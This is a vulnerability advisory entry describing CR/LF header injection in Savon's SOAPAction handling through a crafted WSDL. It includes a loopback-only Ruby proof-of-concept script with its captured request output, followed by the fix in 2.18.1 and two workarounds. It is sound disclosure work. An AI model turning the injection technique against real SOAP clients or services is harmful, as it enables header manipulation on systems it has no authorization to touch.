
Cloud Vulnerability DB
A community-led vulnerabilities database
Savon decodes CR/LF characters from a WSDL soapAction attribute and inserts them into the outbound SOAPAction HTTP header. With the default HTTPI/HTTPClient transport, this permits an attacker-controlled WSDL to add arbitrary HTTP request headers
Savon resolves soapAction values from the WSDL and constructs the outgoing header without rejecting HTTP control characters: https://github.com/savonrb/savon/blob/b27e6b1a0e47e32fcf864f078d9ef45607bec228/lib/savon/operation.rb#L149 A WSDL can encode CR/LF as XML character references. After parsing, Savon retains those characters in the SOAP action and constructs a header equivalent to: SOAPAction: "legitimate\r\nX-Savon-PoC: local-only" The default HTTPI/HTTPClient transport transmits this as two HTTP header lines. Confirmed on:
I used a loopback-only listener; no third-party system or credentials were involved. wsl.exe --cd /tmp/savon-local-review env BUNDLE_PATH=vendor/bundle /usr/bin/bundle3.3 exec /usr/bin/ruby3.3 -Ilib poc_wsdl_soapaction_header_injection.rb The PoC starts a listener on 127.0.0.1, supplies a valid WSDL with this soapAction value: soapAction="legitimate X-Savon-PoC: local-only" It produces: POST / HTTP/1.1 Content-Type: text/xml;charset=UTF-8 SOAPAction: "legitimate X-Savon-PoC: local-only" poc_wsdl_soapaction_header_injection.rb content :
require "socket"
require "savon"
fixture = File.join(__dir__, "spec", "fixtures", "wsdl", "authentication.xml")
wsdl = File.read(fixture)
wsdl.sub!(
'soapAction=""',
'soapAction="legitimate X-Savon-PoC: local-only"'
)
listener = TCPServer.new("127.0.0.1", 0)
port = listener.addr[1]
received = Queue.new
server = Thread.new do
socket = listener.accept
received << socket.readpartial(16_384)
socket.write("HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n")
socket.close
end
client = Savon.client(
wsdl: wsdl,
endpoint: "http://127.0.0.1:#{port}"
)
client.call(:authenticate)
server.join
listener.close
request = received.pop
abort "PoC failed" unless request.include?("X-Savon-PoC: local-only")
puts "Confirmed: Savon sent an extra HTTP header derived from WSDL soapAction."
puts
puts request.lines.take_while { |line| line != "\r\n" }An attacker who can influence a WSDL and cause an application to make a Savon call to an application-selected endpoint can inject HTTP request headers into that call. Impact depends on how the receiving service or intermediaries handle the injected header; I have not claimed request smuggling, authentication bypass, or compromise without target-specific proof.
Fixed in Savon 2.18.1. Savon now validates the SOAPAction header before any HTTP adapter sees it. A value containing CR, LF, or NUL raises Savon::InvalidHeaderError and the request is not sent.
The check covers every source of the value. That's the WSDL soapAction attribute, the :soap_action option, and a SOAPAction header passed through the :headers option, under any key spelling. It applies to both the default HTTPI transport and the opt-in Faraday transport.
You are affected if you use the HTTPI transport with the httpclient adapter. HTTPI selects httpclient automatically whenever the gem is installed, so you can be affected without configuring an adapter. If you cannot upgrade right away, use one of these:
Savon.client(wsdl: ..., adapter: :net_http). net/http rejects CR and LF in header values with an ArgumentError, so the request is never sent. It does not reject NUL.client.call(:authenticate, soap_action: "urn:authenticate"). An explicit :soap_action takes precedence, so the WSDL value is never used.Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."